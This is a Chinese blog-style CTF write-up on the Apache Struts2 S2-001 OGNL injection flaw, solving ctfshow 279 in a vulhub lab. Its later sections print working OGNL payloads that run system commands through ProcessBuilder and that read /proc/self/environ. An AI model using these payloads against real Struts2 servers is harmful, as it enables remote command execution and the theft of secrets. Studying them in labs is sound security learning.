java struts2漏洞 (ctfshow279)

struts2漏洞

struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。

这里的%{value}简单理解就是和flask的模板注入{{}}差不多 会对里面的内容进行解析

因此我们可以利用其进行命令执行

 struts2

Struts2学习(1):Struts2框架结构详解_struts2框架项目结构-CSDN博客

Struts:标签库_struts标签库-CSDN博客

最早实现 MVC(Model+View+Controller) 模式的 java web 框架

Apache Struts 2最初被称为WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用程序。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。以 xwork 作为底层实现的核心,以 ognl 作为浏览器与 java 对象数据流转沟通的语言,实现不同形式数据之间的转换与通信。

Struts2框架的MVC分别对应:
V:jsp+OGNL
C:action类
M:javabean+ModelDriven

那么学习到这,还不知道MVC是什么意思

MVC

搜了很多资料

MVC框架-CSDN博客

MVC框架详解(资源整理)-CSDN博客

简单来总结归纳一下

组成:

   M---业务模型

       模型指企业数据(即实体类)和业务规则

   V---用户界面

      用户看到并与之交互的界面。比如由html元素组成的网页界面,或者软件的客户端界面  

   C---控制器

     控制器接受用户的输入并调用模型和视图去完成用户的需求,控制器本身不输出任何东西和做任何处理。它只是接收请求并决定调用哪个模型构件去处理请求,然后再确定用哪个视图来显示返回的数据。

目的:

   将软件用户界面和业务逻辑分离,将软件用户界面和业务逻辑分离以使代码可扩展性、可复用性、可维护性、灵活性加强。

   Controller层只是用来调度View层和Model层,将用户界面和业务逻辑合理的组织在一起,起粘合剂的效果,确保M和V的同步,一旦M改变,V应该同步更新。所以Controller中的内容要尽量不含业务逻辑,一般只含有应用程序逻辑

请求流程

Action:Struts2框架的核心,适用于任何MVC(Model View Controller)框架,在Web应用程序中将每个URL映射到特定的action,让其提供处理来自用户的请求所需的处理逻辑。
struts.xml:Struts2 框架的核心配置文件,主要用于配置 Action 和请求的对应关系,以及配置逻辑视图和物理视图。

ognl

Struts2中的OGNL详解 - 掘金

OGNL的全称是对象图导航语言,它是一种功能强大的开源表达式语言,同时也是Struts2的默认表达式语言。比EL(只能从域或内置对象中)表达式更强大。

OGNL是基于上下文的,所以Struts构建了一个ActionContext映射以供OGNL使用。 ActionContext映射包含以下内容:

    应用程序(Application)—— 应用程序作用域变量
    会话(Session) ——会话作用域变量
    根/值栈 (ValueStack)—— 所有的action变量都存储在这里
    请求 (Request)——请求作用域变量
    参数 (Param)——请求参数
    属性 (Property)——存储在页面,请求,会话和应用程序作用域中的属性

特点:

    OGNL可以存取Java任意对象的任意属性,调用Java对象的方法
    ONGL能够自动实现必要的类型转换。

OGNL上下文中的根对象可以直接访问,而引用上下文中的其他对象则需要使用“#”来标记 ;值栈中的任何对象都可以直接访问,而不需要使用 “#”。

参数:

表达式、跟对象和上下文环境。

表达式:表达了这次 ognl 解析要干什么。表达式是OGNL的核心,所有的OGNL操作都是通过解析表达式后进行的。表达式指出了OGNL操作要做的工作。例如,name、student.name等表达式,表示取name或者student中的name的值。

跟对象:表示通常 ognl 操作的对象。OGNL的取值还需要一个上下文环境。设置了Root对象,OGNL可以对Root对象进行取值或写值等操作,Root对象所在环境就是OGNL的上下文环境(Context)。根对象是OGNL要操作的对象,在表达式规定了要完成的工作后,需要指定工作的操作对象。

上下文环境:表示通常 ognl 运行的环境。上下文环境Context是一个Map类型的对象,在表达式中访问Context中对象,需要使用"#"号加上对象名称,即"#对象名称"的形式。例如<s:property value="#request.name"/>中,request就是对象,这个对象取出name属性的值。

public class JustTest {
    public static void main(String[] args) throws Exception {
        Hacker hacker = new Hacker();
        hacker.setName("chenlvtang");
        // 创建Context并传入root
        OgnlContext context = new OgnlContext();
        context.setRoot(hacker)
        // 创建Expression
        String expression = "hacker.name";
        Object ognl = Ognl.parseExpression(expression);
        // 调用
        Object value = Ognl.getValue(ognl,context,context.getRoot());
        System.out.println("result:" + value);
    }
}
语法:
  • .操作符:如上所示,可以调用对象的属性和方法, hacker.name,且上一个节点的结果作为下一个节点的上下文,如(#a=new java.lang.String("calc")).(@java.lang.Runtime@getRuntime().exec(#a)),也可以换成逗号(#a=new java.lang.String("calc")),(@java.lang.Runtime@getRuntime().exec(#a))

  • @操作符:用于调用静态对象、静态方法、静态变量,@java.lang.Math@abs(-10)

    • #操作符:

      a)用于调用非root对象

// 放入Context中,但不是root
context.put("user", user)
// 创建Expression,非root,所以要加上#
String expression = "#user.name";
Object ognl = Ognl.parseExpression(expression);
// 调用
Object value = Ognl.getValue(ognl,context,context.getRoot());

b)创建Map

#{"name": "chenlvtang", "level": "noob"}

c)定义变量

#a=new java.lang.String[]{"calc"}
  • $操作符:一般用于配置文件,<param name="name">${name}</param>

  • %操作符:计算其中的OGNL表达式,%{hacker.name}

  • List:直接使用{"green", "red", "blue"}创建

  • 对象创建:new java.lang.String[]{"foobar"}

struts2标签

https://www.cnblogs.com/yw-ah/p/5760540.html

属性:

(1)所有的字符串属性类型都会解析“%{…}”这样的语法。

(2)所有的非字符属性类型都不会被解析,而是直接被看作一个OGNL表达式进行求值

(3)对于第二个规则的例外情况是,如果非字符串属性使用了“%{…}”语法,那么%{…}将被忽略,花括号中的内容将作为表达式计算。

ValueStack

值栈详解(ValueStack)_actioncontext.getcontext().getvaluestack().set()的值-CSDN博客

Struts2的值栈(ValueStack),详解+图解-CSDN博客

本质是一个ArrayList,充当OGNL的root,给一次请求中共享数据的功能。

之前web阶段,在servlet里面进行操作,把数据放到域对象里面,在页面中使用el表达式获取到。域对象在一定范围内存值和取值。在struts2里面提供了本身的一种存储机制,类似于域对象,是值栈可以存值和取值。在action里面把数据放到值栈里面,在页面中获取到值栈的数据。

 

 

环境搭建

这里使用vulhub靶场 比较方便 docker直接起

Vulhub - Docker-Compose file for vulnerability environment

 

在github官网下载镜像安装在kali上
https://github.com/vulhub/vulhub
启动docker环境
service docker start
启动vulhub
docker-compose up -d

 

搭建完成

漏洞复现

%{1+1}

报错返回解析为2,确认漏洞存在。 

获取tomcat执行路径: 

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

tomcatBinDir{/usr/local/tomcat} 

获取Web路径:

%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}

执行命令 

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

ctfshow 279

点击这句话,就看到s2-001

 也是看别人的poc的

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/proc/self/environ"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

  • 19
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值